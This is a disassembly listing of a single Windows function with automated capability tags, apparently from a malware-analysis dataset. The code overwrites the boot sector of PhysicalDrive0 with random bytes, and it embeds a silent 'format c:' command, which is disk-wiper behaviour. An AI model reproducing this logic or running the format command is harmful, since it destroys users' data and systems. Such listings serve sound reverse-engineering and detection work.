Function at 0x140001890
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1920]
mov eax, 0x1a20
call fcn.140014c60
sub rsp, rax
call fcn.140002e64
or dword [rbp + 0x1914], 0xffffffff
mov r14d, 1
mov edx, r14d
mov dword [rbp + 0x594], eax
mov r8d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x594], eax
add rdx, r14
cmp rdx, r8
jb 0x1400018d4
mov edi, 3
mov dword [rbp + 0x590], r8d
lea rdx, [rbp + 0x590]
mov dword [rbp + 0x1944], edi
lea rcx, [rbp + 0x1940]
mov dword [rbp + 0x1940], r14d
call fcn.14000208c
sub eax, r14d
je 0x140001b20
sub eax, r14d
je 0x140001a07
cmp eax, r14d
jne 0x140001bbb
xor ebx, ebx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
mov r8d, edi
mov edx, 0x40000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001bbb
mov qword [rsp + 0x38], rbx
lea rax, [rbp + 0x1940]
mov qword [rsp + 0x30], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 0x18
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov edx, 0x70000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1400019ff
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
lea rsi, [rbp + 0x180]
lea rcx, [rbp + 0x590]
call fcn.140001d84
mov byte [rsi], al
add rsi, r14
lea rax, [rbp + 0x380]
cmp rsi, rax
jne 0x1400019c0
lea r9, [rbp + 0x1948]
mov qword [rsp + 0x20], rbx
mov r8d, 0x200
lea rdx, [rbp + 0x180]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
jmp 0x140001bb5
mov edx, 0x104
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, [rbp + 0x380]
lea rcx, [rsp + 0x60]
call fcn.140001f70
xor ebx, ebx
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
lea edx, [rbx + 0x29]
sub rax, rcx
cmp rax, rdx
jb 0x140001a74
cmp qword [rdi + 0x18], 7
lea r14, [rcx + 0x29]
mov qword [rdi + 0x10], r14
mov rsi, rdi
jbe 0x140001a57
mov rsi, qword [rdi]
lea rcx, [rsi + rcx*2]
mov r8d, 0x52
lea rdx, str.cmd.exe__c_echo_y_format_c:__fs:NTFS__q
call fcn.140014f20
mov word [rsi + r14*2], bx
jmp 0x140001a84
mov rcx, rdi
mov qword [rsp + 0x20], rdx
call fcn.14000211c
mov rdi, rax
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 7
mov word [rdi], bx
call fcn.140001f0c
cmp qword [rsp + 0x58], 7
lea rcx, [rsp + 0x40]
cmova rcx, qword [rsp + 0x40]
call fcn.140009368
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140001bbb
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b16
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bd3
call fcn.14000346c
jmp 0x140001bbb
xor ebx, ebx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
mov r8d, edi
mov edx, 0x40000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001bbb
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x200
call fcn.1400155c0
lea rdi, [rbp - 0x80]
lea rcx, [rbp + 0x590]
call fcn.140001d84
mov byte [rdi], al
add rdi, r14
lea rax, [rbp + 0x180]
cmp rdi, rax
jne 0x140001b65
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rbp + 0x1940]
mov qword [rsp + 0x20], rbx
mov r8d, 0x200
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x1a20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.1400098e8
int3